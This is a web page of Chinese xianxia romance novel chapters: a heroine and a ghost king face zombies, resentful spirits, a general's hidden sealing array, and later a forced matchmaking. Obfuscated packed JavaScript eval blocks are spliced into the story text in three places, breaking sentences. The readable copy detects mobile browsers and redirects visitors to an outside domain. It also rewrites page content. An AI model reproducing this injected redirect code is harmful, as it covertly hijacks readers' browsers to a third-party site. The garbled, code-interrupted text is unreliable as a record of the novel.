;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛念安抬头看向正气定神闲看戏的易桉，张了张嘴，又闭上。 易桉垂下眸看她，道：“姐姐有话直说便是。” 洛念安伸手指向那两位，道：“我觉得这样似乎不是很好。” 易桉低笑几声，道：“有何不好？左右他们也不会被咬死。” 这张少年模样的面庞下也是一样的少年心性，顽皮。 洛念安笑着摇摇头，陪着他一齐看起戏来。 那边柳渊百忙之中抽出时间来往这边看了一眼，见着这边两人在伞下说说笑笑好不悠闲，当即石化，收了法力冲过来，又一掌击落头顶上扑下来的毒蛇，道：“念将军，你怎么能对我们见死不救呢？” 易桉敛了笑，望向他：“你要死了吗？喜事一桩。” 赫连昭也靠了过来，他惊奇道：“为何那些畜生不靠近这里？” 这话一问完，他们俩齐齐看向洛念安，身边的易桉。 “......” “......” 赫连昭向上支起一道法阵，暂时挡住了落下来的毒蛇。 柳渊皱着眉，看向洛念安道：“念将军，要不你还是站到我们这里来。” 洛念安微笑道：“为什么？站在这里不会被蛇咬啊。” 柳渊道：“虽然但是，你身边那个似乎比这些毒蛇要可怕得多。” 赫连昭一边维持着法阵，一边气势汹汹道：“这些毒蛇是你放的？！你把我们引诱到这里究竟意欲何为？！” 易桉哼笑一声，沉声道：“你可以是个废物，但这不是冤枉我的理由。” 眼见着那边两位要召出法相，洛念安紧急叫停：“各位先冷静一下，二位将军也不要急着召出法相。这蛇肯定不是易桉放的，真的，也不是他引诱我们到这里来的，我发誓，我担保。现在当务之急是要解决这些毒蛇，这样耗下去实在不是办法。” 她话音刚落，周围大片大片黑漆漆的毒蛇一瞬之间全部一分为二，爆体而亡了。 “......” 洞内三人齐齐看向易桉。后者则是收了伞，看向洛念安，微笑道：“姐姐，接下来呢？” “......”说实话洛念安还没想到后面的事情。 15. 山茶郡遇卖茶故人 这时，柳渊出声问道：“原路返回，还是继续往前走？” 方才经历了这场蛇灾，洛念安觉得此地实在不宜久留，便道：“我觉得原路返......” 话音未落，四周的岔道里又传出一阵阵奇奇怪怪的声音，咿咿呀呀，哼哧哼哧，脚步沉重又杂乱。 柳渊忍不住倒吸一口凉气，道：“不会还有吧？”他又看向易桉，“你没都杀死啊？” 易桉不理。 洛念安蹙眉细听，道：“不对，这次来的不是蛇。” ——是一群僵尸，浑身糜烂的肉泛着绿色，脑袋一个个都肿胀不堪，面上不是烂一个大窟窿，就是少一个五官。 “呕——什么恶心的东西？！”柳渊不淡定了：“所以刚刚下的那阵绿水到底是什么？！” 赫连昭同样面露难色。 画面冲击感太过强烈，洛念安虽淡定，但也缓了一会儿才镇定下来，道：“或许是当年城中患了病的百姓。” “不错。”易桉道：“当年山茶郡得的就是这样的怪病，病人头部肿胀，身体腐烂，腐烂之处呈绿色。” 柳渊抽空道：“你知道的可真多。” 易桉气定神闲：“你应该反思一下自己为何知道的这样少。” “......” 几人屏息凝神，僵尸共有十个，越靠越近，后来竟开始围着四人转了起来，边观察着边咿咿呀呀地说这什么东西。最后，其中一个指着一条道口，其余几个开始驱赶着四人往那条道口走。 他们三个的通灵阵内响起柳渊的声音：“打不打？” “且慢，”洛念安一边对易桉示意，一边在通灵阵内道：“先看看他们要带我们去哪里。” 四人被推赶着沿着狭窄的通道一路向前，走着走着，忽见天光，他们竟然是从地道里出来了。 迎面又来了一群僵尸，似乎是来接应的，他们来了，赶着洛念安他们的僵尸又原路返回。于是四人被另一波僵尸驱赶着继续往前走。 天上已经没有再下绿色的黏糊糊的雨了，只是天色依旧阴沉。他们被带到了一处空旷之地，四周没有房屋，能见的范围也大了不少。 又往前走了一段距离，前方忽见一处高台，高台下连着百十级台阶。台阶下正中间跪着一个人，哭声凄厉，弓着腰，头几乎要埋到地上去，竭声呼喊着：“吾儿，吾儿啊！” 十分诡异。 洛念安蹙着眉，不动声色地观察着。 他们被赶至台阶下，洛念安顺着台阶往上看去，见到高台之上有许多十字架，十字架上挂满了白的、黑的不知是何物。 那怪人起了身，往他们这边过来。是个女人，披着发黄发黑的头巾，看那张脸，她似乎并没有被疫病感染。她怀里抱着黢黑的包布，里面似乎有什么东西，看她那动作，似乎是怀抱着一个婴儿。 “只有四个人？”那女人开口问。 僵尸头头不知道咿咿呀呀说着什么。 女人围着他们转了几圈，道：“先送上去一个。” 又是一阵咿咿呀呀。 那女人的视线从洛念安身上移过去，扫了其他三个男子，又移到洛念安身上。而洛念安的视线也刚好从她怀里那堆捂得严实的包布上移开，恰巧与其对视。 洛念安眨眨眼，冲女人露出了个和善的笑。 女人面上似乎闪过诧异，开口道：“是你？” “嗯？”洛念安继续笑着，微微偏头：“这位姑娘，我们见过吗？” 女人轻轻拍了拍怀中的包布，看起来像是在哄孩子，她道：“四百年前见过的，那时你在我这里买茶叶，说是要拿出去卖，讲价讲了许久。” “......”沉默的气氛在四人间散开。 柳渊：“卖茶？” 赫连昭：“讲价？” 洛念安装作没听见的样子，认真回忆了一下，了然笑道：“竟是你，没想到你还能记得我。” 女人道：“我记性一向不错，没想到会再见到你。”她垂眸，又拍着手里的包布，“你不是人。” “对。”洛念安倒是回答的干脆，又道：“我记得那时你尚且有孕在身。” 女人手上的动作停下，她抬眸看向洛念安，动手掀开了包布上面那层，道：“是啊，这是我的儿子。” 洛念安微微伸头往里瞥了一眼，却只看见一团黑乎乎的东西，她一怔，随即反应过来，微笑道：“很可爱。” “谢谢。”女人望着布中之物，露出慈母般的笑容。这笑容洛念安见过，在念清漓面对着洛霁禾的时候。 她笑完，又道：“你不是人。” “......”洛念安摸摸鼻子，看来这话题转的不是很成功。不过任谁都不会想到，有一天会再次遇见四百年前有过几面之缘的人吧。顿了顿，她道：“此言差矣，我们自然是人的。” 那女人却不说话了，沉默间，围上来的僵尸越来越多。 女人转身，一边穿过僵尸堆，一边道：“扔进去两个，剩下的留给你们。” “......” 这下好了，本来只是扔一个，因着这重故人身份反而都要遭殃了。 洛念安看了其余三人一眼，在僵尸围上来的间隙里，道了句：“抱歉。” 一直沉默着的易桉却道：“姐姐何需道歉。” 四人被逼着步步后退，眼见着要迈上台阶，柳渊道：“怎么说？” 洛念安道：“开打。” 龙吟枪伴随着低鸣声而来，在洛念安手上转动闪着耀眼的金光，搅动着周身的空气呼呼作响。 战斗间隙，洛念安击飞一个僵尸后，对着背后的柳渊道：“柳将军，我先去那高台上看看到底有何物，剩下的交给你们。” 面前这群僵尸虽然数量众多，但品阶很低，即使柳渊和赫连昭是分身下界，实力不及本尊，对付他们也绝对不在话下。 柳渊道：“好。” 洛念安转身准备往那高台上去，却一眼看见了已经站在最后一级台阶上的易桉。她心下一沉，急出声道：“小桉？” 易桉回头看她，冲她微微一笑，道：“姐姐，等我一下，我很快回来。” 即使那高台看上去平平无奇，但洛念安直觉那地方肯定不似表面看上去的那般，才要去一探究竟。见易桉要迈上去，洛念安慌了神，一时竟不敢轻举妄动：“不是，你听我说，你先回来好吗？那里可能很危险。” 柳渊抽空道：“你担心他做什么？你不会还以为他真就是个普通少年吧？” 那头易桉已经迈上高台，下一瞬却突然不见身影。洛念安明白自己猜想可能成真，无暇顾及其他，三步并作两步，连跑带飞地冲了上去，一步跨上高台，却突然置身于黑暗之中，周遭的一切景物，声响，都看不见听不见了。只有无边的黑暗，和低低的又嘈杂的声音。 她转身，尝试往回迈一步，又迈一步，发现竟然出不去了。又转身，站定在原地，拖起一团掌心焰，往四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345178|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照了照，唤道：“易桉？” 没人应。 四下什么都看不见，洛念安往前走了几步，继续唤道：“易桉？小桉？” 还是没人应，甚至没有任何动静，只是嘈杂的声音忽的消失了。 洛念安握紧手中的龙吟，原地转了一圈，发现有光和没光无甚区别，便灭了光，凭感觉往前走了几步。这里除了黑暗似乎并没有其他危险，很是奇怪。她无意识往后倒退两步，却突然撞上了什么很结实的东西。 是一个人。 背后坚硬的触感还在，洛念安并没有轻举妄动，而是试探性唤了一声：“小桉？是你吗？” 头顶传来极轻的笑声，一道悦耳的声音传来：“姐姐。” 洛念安松了一口气，收起龙吟，正欲转身，肩膀却覆上来一只手制止了她的动作。易桉的声音随即传来：“姐姐，别动。” 洛念安的身体瞬间僵直，她后背尚且还抵着易桉的胸膛，而他却不让她动，那…… 易桉解释得很快：“这里有一些东西，地上很脏。” 洛念安仍旧僵在那，关注点却突然跑了偏，她觉得身后之人声音传来的位置不太对，似乎更高了些。四周极静，在目不能视的情况下，听觉就变得异常灵敏，只是这样灵敏的听觉，却没有听见身后之人的心跳声，还有，呼吸声。 洛念安深吸了一口气，道：“这是个巨大的阵，而且我们似乎没法原路返回了。” 易桉笑了笑，道：“嗯，这阵设的巧妙，解阵之法我尚未找到。不过若是强行破阵，倒也不难。” “所以这阵所镇之物是什么？” “不是什么厉害的东西，一群怨灵而已。” “怨灵？”洛念安思索片刻，道：“是四百年前郡内的百姓吗？” 易桉道：“不错。” “想必当时他们身死心有不甘，怨念留存，又无人为其超度引路，便留在这里了。”洛念安继续道：“方才我进来之时，听到有些声音，现下却消失了，是你做了什么吗？” 易桉道：“只是让他们闭嘴而已，很吵。” 洛念安脑中灵光一现，道：“所以方才要送人到这高台上来，是投喂给那些怨灵的？” “不错。” 她大概明白了。 “一直在这里待着也不是办法，我们得去找找出去之法。”洛念安说着，往后伸手准确无误地握住了易桉的手腕，却被他腕上冰冷的东西刺了一下，但到底没有松手。 她牵着易桉想往前走，突然听到有人很大声的一句：“念将军？！你在吗？” “柳将军？”洛念安又放大声音：“柳将军，我们在这里。” “你们？”柳渊不知道做了什么，只听到下一瞬他哀嚎了一句：“卧槽了！这地上都是些什么东西？！” 洛念安关心了一句：“柳将军？怎么了吗？” “没什么，就是地上有一些残骸。” 洛念安沉默了一下，道：“许是之前被送进来的无辜之人了。” 柳渊道：“念将军，我实在过不去，你怎么样？没事吧？” “我没事，”洛念安道：“易桉在我旁边。” 柳渊似乎沉默了一下，大声快速道：“他在你旁边就叫有事好不好？！” 洛念安笑了笑，道：“怎么会？”又问，“赫连将军呢？” “我让他在外面等着接应我们，我看见你们进来都消失了，才进来看看，没想到这里真的有古怪。” 16. 引不归魂赴忘川河 “卧槽！怎么又有毒蛇？！”柳渊声音刚落，不远处就亮起法力波，照亮了一小片地方。洛念安看过去，正是他所处的位置。 “柳将军？”洛念安想要过去帮忙，却被易桉拦住。 他道：“姐姐不必着急，他还不至于废物到对付不了几条蛇。” 洛念安有些哭笑不得，只得对着那边道：“柳将军，可以往你身边放一圈火。” “我说，”柳渊边照做边道：“我没有哪里得罪到你吧？你把我们引到这地方来做什么？还放这些破蛇出来咬人！” 易桉冷哼一声：“与我何干？” “外面的该解决的都解决了，在场的除了你还能有谁？难不成我自己放蛇咬自己吗？你怎么不被咬？” 易桉毫无笑意地哼哼一声，语气轻蔑道：“咬你是因为你好欺负。” 洛念安放出血光去帮忙，道：“柳将军，这件事肯定是与易桉无关的。” 柳渊感觉像是快要疯了：“念将军，你到底知不知道站在你旁边的是谁？！” “我知道。”洛念安缓缓道：“无论他是何身份，这件事都与他无关。” 易桉轻轻笑了笑。 还没笑完，柳渊那边脚下的火光一瞬间全灭了。柳渊哀嚎了一声，大叫道：“还说与他无关？！不是他还能有谁？！！！” 易桉看戏似乎看得很尽兴，心情很好地低笑了几声，道：“真是废物。” “柳将军，忘记告诉你，这里并不止我们三人。”洛念安说完，沉思片刻，淡定问道：“从我们入城以来，遇见的修为最高的......鬼，便是方才那位女子。那女子现下如何？” “在赫连昭手上。”柳渊边打边道：“念将军，你把你身边那个算漏了。”他又哀嚎了一声，“这破蛇怎么这么多？！” 其实洛念安他们这里也是有蛇的，她看见了黑暗中那一双双猩红的双目，只是那些东西在一定距离外都顿住，转而又向柳渊在的地方去了。 “是了，”洛念安道：“没有一定的修为是不能操控这么多数量的毒蛇的。我想，也不会是那个女子设下这样一个阵法困住那些怨灵，从她送生人入阵喂养怨灵的行径来看，她应该是与这些怨灵一伙的。那么，设阵之人定是站在他们的对立面，不希望这些怨灵得到自由，但是又准许喂养它们的行为。” 她的话音刚落，柳渊那里突然安静下来。他惊奇道：“这些破蛇怎么都跑走了？” 血光结束战斗蹿回来乖乖绕上洛念安的腰，她蹙下眉头，道：“设阵之人也许就在这山茶郡。”顿了一会儿，她继续缓声道，“不，应该说，他此刻就在这阵中。” 话音一落，一道银光在黑暗中乍现，如闪电般飞出，不远处响起“铿”的一声，那是兵刃相击的声音。 易桉的声音从头顶处传来，他先是轻笑了一声，随即道：“找到他了。” 那边兵刃相交的声音还在继续。银光似鬼魅般忽隐忽现，那一头的蓝光先是强盛的，慢慢却衰减下去。 柳渊似乎还搞不清楚状况，问道：“谁和谁打起来了？” 洛念安回答他道：“易桉，和，方常远，方将军。” 话落，那头忽然“铿”的一声，蓝光飞至远处，似乎是插进了地里。银光也转瞬消失不见。 易桉闲闲道：“实力不怎么样。” 洛念安无奈在他的护腕上轻拍两下，对着黑暗温声道：“方将军，不必藏了，现身吧。” 空气静默几瞬，方才打斗的地方传来脚步声，似乎走得不是很顺畅，总是踢到什么东西。柳渊本想送一个火球到上面去照明，下一刻四周忽然亮了起来，放眼望去，他们仍是置身在高台之上，周遭的景物都能看得清了，连带着也能看清遍地的尸骨遗骸。有的只剩一具枯骨，而有的还能看见没被瓜分干净的血肉。 洛念安先是看向易桉，见他还是那副少年模样，又望着面前的惨状，眉头微蹙，嘴角也落了下来。她抬眼，看向颓然立在风中的方常远，一时无言。 赫连昭睁大眼睛张着嘴，一路惊讶地压着那女人走进来。他走到柳渊身边停下，还是满面惊讶，问了一连串儿的问题：“你们为何突然出现了？这地上是怎么回事？你身旁为何有这么多蛇的尸体？方常远为何在这里？他何时来的？” 柳渊瞥了他一眼：“你啰嗦了。” 赫连昭觉得这句话十分耳熟，于是闭了嘴。 趁他不注意，那女子突然挣脱了禁锢，冲上去，左手抱着包布，右手抬起来一巴掌扇在方常远的脸上，接着又是一巴掌接一巴掌，巴掌声如雷贯耳。 众人皆瞠目结舌，而被打的方常远却一点反应都没有，仍旧是颓然地立在那里。他那张本俊美白皙的脸上浮起红肿，印着几个巴掌印。 女人歇斯底里着：“你还有脸过来？！你还有脸过来！你还我儿子！还我丈夫！你怎么还有脸出现在这里的？！！” 洛念安反应过来，绕过地上的尸骨，上前去搂住女人的肩膀，将人往后拉了几步，口中劝道：“这位夫人，劳烦先冷静一下。” 赫连昭反应也快，上来把女人定住不让她乱动了。 洛念安对着方常远道：“方将军，不好意思啊。”说完自己愣了一下，一时也不知道自己到底在不好意思些什么，但她就是觉得挺不好意思的。 方常远飞升时间比赫连昭和柳渊都要早，虽然从人界飞升上来的上神们之间没有明显的等级制度，但是早飞升的在晚飞升的面前多少会有些前辈的架子，平时见了面也是后者先给前者打招呼，无论私底下如何，表面关系大家都维持的不错。像赫连昭和柳渊这样面子里子都撕破的毕竟是少数。故而昭、柳二人现下也不好出面说方常远什么。一个面无表情地禁锢着那女子，一个沉默地摇晃着扇子。 洛念安思索片刻，开口打破沉默道：“方将军这阵法很是高深。” 方常远还没说话，身后的女人大声喊道：“我呸！你杀了他们，还要把他们禁锢在这里永世不得出！你这个卑鄙小人，黑心的东西，凭什么你能成神？！老天爷真是瞎了眼！你怎么配！” 在人间流浪的时候，洛念安倒是听说过方常远的事迹。年少称帝，勤政爱民，在位期间废止了许多苛政，每每御驾亲征都能大获全胜，民间对其的功绩广为传颂。然而就是这样一位帝王，在山茶郡疫病期间下令封城，却毫无作为，最终下令屠城，实在是匪夷所思。 “我没办法。”方常远终于开口了，他身高体壮，垂首立在那里似乎矮小了不少，语气也满是颓然：“他们不死，就会有更多的人死。” “你放弃了我们！你害死了我们！我们那么信任你！那么信任你！你怎么做的？！你......” “我能有什么办法？！”方常远陡然提高音量，抬头侧目逼视着那个女人，眼中有怒火，但似乎还参杂着不甘、无奈、还有一些其他的让人看不懂的复杂的情绪：“边境战事不断，死伤无数。我派御医过来救治你们，派一个死一个，派两个死一双！所有人都告诉我治不好治不好！我下令封城，从前线战士的嘴里抠！拨军粮过来给你们！可你们呢？为什么不好好待在城里？为什么要到处乱跑？下令转移病人你们为什么不配合？为什么要隐瞒不报？！我没作为吗？治不好我能有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳渊凑过来道：“念将军你也说了当初。如今他们都沾了人血，想必也没那么容易甘愿重入轮回。再说了，现在去哪找能净化指引他们的人去？据我所知，神界没有这样的神吧。”他又看向赫连昭，确认了一下，“有吗？” 赫连昭摇头：“没有。” 洛念安不自觉看向易桉，后者正对着她笑，开口道：“据我所知，倒是有一位。” 洛念安露出笑容，接道：“母神。” 开天辟地之初，诞生母神，母神爱万物，悯众生。 方常远道：“母神确有净化之力，可是母神早已仙逝，神体神识化作日月山川。她之后，这种神力也已消失数千年。” 洛念安望着空中的那些怨灵，沉默片刻后，喃喃道：“或许可以试一试。” “嗯？”柳渊不解：“试什么？” 洛念安看向他道：“我幼时在机缘巧合之下，曾翻到过一本古籍。” 柳渊睁大眼睛：“几百年前看的书你都记得？” 赫连昭斥他：“你以为谁都跟你一样没脑子？” 他们吵起来了。 洛念安全然不受影响，心念微动，被一股神奇的力量推着，寻了一处干净的地方，龙鸣声响起，长枪立在身前。她闭上眼，手随心动，起势，神力被注入长枪之中，忽地从尖端亮起一束光，直达天庭。她低声念着： “吾神珈洛，借母神之力，净化怨灵，引不归之魂，赴忘川之河。” 话落，天上的光束向四周散开，光波驱散了乌云。同时，高台上的怨灵、尸骨、遗骸都化作星星点点的蓝光，向上飘去。慢慢的，郡内四面八方也飘起点点蓝光，在空中汇聚在一起，化作一束耀眼的蓝光，往西方飞去。 而珈洛此刻周身被金光笼罩，唯有右眼落下一滴晶莹的泪，将这片满是血污的大地洗净。 17. 鬼王备膳等公主归 四周极静，静到似乎能听见那滴泪落下的声音。 洛念安睁眼，收起龙吟，转身欲回原处，见到柳渊他们目瞪口呆地立在原地，只有易桉稍显淡定。 那女子也已消失不见，唯剩那块包布掉在地上。洛念安走过去，弯腰将其捡起，伸手拍了拍上面的灰尘。 那边三人还在持续震惊着。洛念安觉得有些好笑，伸手在他们面前晃了晃，道：“三位将军，醒醒。” 柳渊是最先醒的，他结巴道：“方才......方才那是......度化术？！” 洛念安温声道：“算是吧。” “你何时学会的？竟然不告诉我！” 洛念安无奈笑笑：“就在方才。” “啊？！”柳渊张大了嘴巴。 易桉迈步到洛念安身后，对柳渊道：“不用问了，再给你一万年你也学不会，有些东西得靠天赋。你，一看就没有。” “......”柳渊沉默了，他有时候真的很好奇易桉的嘴吃东西的时候会不会被自己毒死。 方常远的视线落在易桉身上，停了一会儿，移开，又移回来，来来回回这样许多次。 洛念安忍不住问道：“方将军似乎有话要说？” 方常远才终于抓住机会开了口，他问道：“这位是？” 洛念安回头看了易桉一眼，才回道：“这位是我的朋友。” 柳渊：“还是朋友呢？” 洛念安微笑道：“当然。” 柳渊偏过头去，不说话了。 方常远却是陷入沉思，直到洛念安的声音响起：“方将军，有一个问题我一直想问。” 方常远道：“殿下请讲。” “地道的蛇是你放的吗？” 柳渊和赫连昭的视线齐刷刷射向方常远。后者沉默了一下，点头道：“我本意是想让你们离开。” 洛念安点点头，道：“若我没有猜错，入了城的人都会遇见那样一场怪雨，然后进入街道两侧的房屋，继而看见每间房屋都会有的地道入口。在试过外面无法出去后，为了求生便会赌一赌进入地道，然后遇到早已蹲守在里面的僵尸，被带到高台这处来。对吗，方将军？” “是。” “城内的迷阵是你设下的？” “是。” “你放出那些蛇，想让我们原路返回，继而无法靠近这高台，而你觉得以我们之力想要破解迷阵离开山茶郡并非难事，对吗？” “是。” “所以，‘黄泉路’也是出自将军之手？” “是。” 他承认的这样干脆，倒是洛念安没想到的。 方常远继续道：“我做错了事就该承担，该怎样罚我我都认了。” 柳渊合起扇子打断道：“等一下，其他的我都可以理解，但是方将军方才放蛇咬我是因何而为？” “......”方常远的沉默让柳渊心凉，他跟着沉默了一会儿，道：“不会是为了杀人灭口吧？” “自然不是，”方常远这下回答的倒快：“以柳将军的实力，这样普通的毒物怎会奈何得了你。它们原本也不是要针对柳将军的。” 柳渊看向易桉，方常远也跟着看了过去。 易桉哼笑一声，食指闲闲地卷着自己的发尾，并不搭理。 洛念安打发了柳渊和赫连昭带着方常远先回了神界，和着易桉一起在山茶郡寻了一块风水宝地给那包布立了个衣冠冢。她立在冢前，盯着那块无字碑出神。易桉安静地陪在她身边，直到洛念安自己回神，轻声道：“走吧。” 出城的路上，易桉问道：“姐姐方才在想什么？” 洛念安低头笑笑，道：“也没什么，只是没想到能再遇见四百年前的故人，也没想到遇见便要说再见了。”顿了顿，她又道，“应该不会再见到了。” “她啊，”易桉垂眸望着她道：“她说那时姐姐在她手上买茶？” 洛念安微微一愣，忽觉有些难为情，抬手搔了搔面颊，干笑道：“那时手头有点紧，听闻山茶郡茶叶远近闻名，便来收购些，想着带到其他地方去卖。那时那位夫人的价钱是整条街最低的。” 易桉没搭话，洛念安没注意到他落下的嘴角，继续道：“若不是她主动提起，我也不会记起来。我的记性一直是不太好的，总是容易忘记许多事情。” 易桉道：“忘了就忘了吧，每日发生的事情那样多，若是全部都记得，岂非辛苦。” 洛念安轻轻笑了笑。乌云褪去的山茶郡被艳阳照耀着，将二人的影子缩得很短。洛念安抽出身后的油纸伞，撑开，将易桉罩在阴影下。对上他的视线，洛念安微笑着道：“先前见你总是待在树荫下，猜测你似乎不太喜欢阳光，便用这个挡一挡吧。” 易桉勾起唇角，伸手接过伞撑在两人上方，垂眼看向洛念安，后者正专注地看路，盯了一会儿，他突然道：“姐姐没有话要问我吗？” “嗯？”洛念安反应过来，轻声笑道：“你是指，关于你太阴鬼王的身份吗？” 身旁的易桉沉吟片刻，轻笑出声，顿了顿，才道：“姐姐就不问问，我为何出现在你身边？” 洛念安歪了歪头，道：“其实我并不认为我们在白玉兰村相遇是完全的巧合，我的记忆里也并没有出现过你这样的人物。但其实无所谓，无论你因何出现在我身边，我们姑且都可以把它当做是一种缘分。” 易桉忽然凑近过来：“姐姐就不怕，我会对你不利？” 洛念安弯起唇角，他的气息打在面颊上有些发痒，她道：“事实证明并没有啊。说起来，我倒真的有话要问。” 易桉退了回去，语调微扬：“姐姐但问无妨。” 洛念安看过去：“那日在九天郡，真的是你？” 易桉点头。 洛念安笑了笑，又道：“那九千盏莲灯，也是你放的吧？” 易桉侧目看过来，并不答话，也不点头。 洛念安道：“我认得你的字。” 易桉笑了，心情很好地哈哈笑了几声，道：“为姐姐助兴的小玩意儿罢了，不值一提。” 洛念安垂下眸，道：“怎么会。”顿了顿，她又道，“谢谢你。不过我有些好奇，你是如何得知我的生辰的？” 易桉回答道：“世上无难事，只要肯用心。” 他这番 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洛念安道：“他当年可是斩杀了女魔颜无双的，如今绝对是神界第一武神，在你这里也就只是‘还行’吗？” 易桉轻笑一声，改口道：“那就，算他厉害。” 洛念安笑得眉眼弯弯，恰逢一阵微风吹过。其实风也不大，但还是吹起了心底的浪花。 洛念安想起之前的经历，对他道：“说起来，我进过你的神庙。” “我知道。”易桉道。 “啊？”洛念安有些意外，“你知道？你如何得知的？” 易桉笑了笑，道：“姐姐还记得当时许了何心愿吗？” 洛念安皱眉想了想，不太确定道：“我当时似乎没有许愿。” “对。在震耳的许愿声中听到有一人说体谅我日理万机便不许愿，换做是姐姐，会印象深刻吗？” 洛念安笑出了声，突然觉得自己很傻，她道：“那时我既没有捐出功德，自然也就不好意思麻烦你替我达成心愿，而且那时我确实没有任何心愿。” 易桉无声一笑，垂下眸不知在想些什么。 过了一会儿，洛念安才反应过来，若易桉只是依靠声音便能确定是她的话，真是厉害了。 说话间，两人已经出了山茶郡。立在城门前，洛念安收到柳渊传话说洛君逸现下并不在神界，方常远暂时禁足在他的神殿内，具体情况等洛君逸回来再议。了解情况后，洛念安刚准备退出来，就听到锦和的声音：“殿下，帝后传你到清漓殿。” 本来以为可以先回玉兰观中，现下看来是不太行了。 洛念安看向易桉，略感遗憾道：“我现在可能得先回一趟神界。” 易桉收起伞，边折好边道：“姐姐有事就先去忙吧。” “那你呢？”洛念安接过伞。 “我啊，”易桉停顿了一下，垂眸观察着洛念安面上的神色，见她睁大双眼，神色紧张，才扬起唇角，道：“自然是回去做好饭等姐姐回来咯。” 洛念安悄悄松了口气，露出笑容，道：“好，我尽量早点回来。” 18. 公主相亲鬼王娶亲 洛念安来到清漓殿，刚给念清漓请完安，就被一众仙侍簇拥着入了后殿，离开前听见念清漓道：“本宫安排了仙侍为你打扮一番，稍后随本宫去见一人。” 洛念安莫名其妙地被送进浴池，见仙侍要服侍她沐浴，她忙道：“我自己来就好。” “殿下，这是帝后的安排。” “……好吧。” 见到她们抬上来一套华丽丽闪眼睛的裙衫，洛念安拒绝道：“这个，就不用了吧。” ”殿下，这是帝后的安排。” 拒绝失败。 被推到铜镜前，洛念安看着要为她描眉画脂的仙侍，再次尝试拒绝：“这个真的不用了吧。” “殿下……” “好的。” 拒绝再次失败。 洛念安莫名其妙地梳洗打扮完，又被半推半架着回了前殿。念清漓将她上上下下细细打量了一番，才终于满意地点点头：“这才像话。”她放下玉盏，起身，先行迈出前殿，对洛念安道，“随本宫来。” 洛念安跟在她身后，后面又跟着二十四名仙侍。一路步至清乐宫，这里是专门接待来宾的地方。她们到时里面并没有要来的客人，只有布宴的仙侍。念清漓坐上主位，洛念安坐在她右下方。等了没一会儿，白锦进来了，身旁还跟着一个人，那人身形高挑，模样算得上是出类拔萃。 二人向念清漓行李，白锦道：“帝后，念华殿下带来了。” 念清漓面上挂笑，道：“有劳仙君。” 他们二人也落了座。念清漓对洛念安道：“这位是本宫兄长的儿子，你们年纪相仿。” 这话一出，洛念安再不明白她的意思就显得有些呆了。 念清漓出身一个神族，名翼族，与洛君逸成亲前是翼族公主，论容貌，可以称得上三界第一。而九尾狐族与翼族关系匪浅，也有姻亲关系，故而念清漓托了白锦将念华带了上来。 念华这位洛念安不熟，也不是很想与之相熟。白锦自上次生辰时碰面后就没再见过了，奇怪的是白锦仙君竟然也知道她的生辰。 洛念安的视线落在白锦身上，后者正在喝茶。又听见念清漓补充道：“你也到了该出嫁的年纪，若是与念华相处得来，本宫就与你父君商量，为你们定下这门亲事。” 听了这话，白锦倏地放下玉盏，抬眸看了看洛念安，又看了眼身旁的念华，面上神情到未变，却是落了念清漓的眼，她看向白锦，问道：“仙君觉得如何？” 白锦又淡定地端起玉壶又为自己斟了杯茶，出声道：“自是要看二位殿下的意思。” 念清漓看向洛念安。 “……”洛念安挤出一个笑容，道，“儿臣以为，还是要看念华殿下的意愿。” 那边的念华闻言道：“能与公主殿下结亲，自是念华高攀了。” “……”洛念安沉默片刻，再三思索还是开口道，“殿下不必自谦，实在是我暂时还没有成亲的打算。” 念华肉眼可见的失落起来。洛念安尽力忽视念清漓那充满责怪的眼神，顶着压力吃完了这顿宴席。 送走念华之后，念清漓再次剜向洛念安，语气里满是责备与不满：“你方才说的什么？像什么话？本宫费心给你安排亲事，你不仅不领情，还当面回绝了人家。你让人家怎么想？！你让本宫在母族还有何脸面？！真是不成体统！” 念清漓发泄完就气冲冲地走了，没给洛念安任何开口说话的机会。 “……” 洛念安重重呼出一口气，低头看了一眼这身行头，也觉得现在再去清漓殿换回原来的行头不太现实，便转身欲出天门，回玉兰观。 也不知道耽误这样长的时间，易桉做的饭有没有凉。 人界已是黑夜。在院中现身时，洛念安没有看见屋子里那抹熟悉的暖光，心里一紧。她走上前去，推门，里面果真空无一人。 易桉呢？他回去了吗？ 洛念安有一瞬间的茫然，眸光瞥见小兔子已经在门口的窝里睡着，她转身在院中走了一圈，绕到白玉兰树下，莫名绕着树干转了几圈，没看见易桉。 “……唉。”洛念安叹了口气。正欲转身回屋卸下这身行头，忽闻远处有声响，似是齐刷刷的脚步声。 洛念安带着疑问又转身走到门口，想看看这么晚了是谁经过。很快，一块巨大的阴影出现在视野内。待到它靠近，洛念安才看清那是一顶巨大的轿撵，披着红纱账，层层叠叠，随风飘荡。账外挂满金银珠宝，碰撞时发出“叮铃”声响。 这顶轿撵有多大呢？洛念安回头看了一眼那间小破屋，觉得比这屋子大概小不了多少。 她惊呆了，活了这么多年也没见过这样大这样华丽的轿子。待到再近一些，她才发现抬着这轿子的竟然是一些牛头马面和冒着鬼火的骷髅头。 若是普通人大半夜看见这样一顶红色的轿撵怕是要吓得昏过去，第二日立马请人来做法驱邪了。 还好洛念安不是普通人，她不仅不觉得诡异可怖，甚至还十分欣赏这顶华丽梦幻的轿撵。 直到那轿子在她面前停下。 “……” 抬轿子的前前后后足足有二十四“人”，他们齐刷刷蹲下身子，放低轿子，又齐刷刷地大声道：“公主殿下，请上轿。” 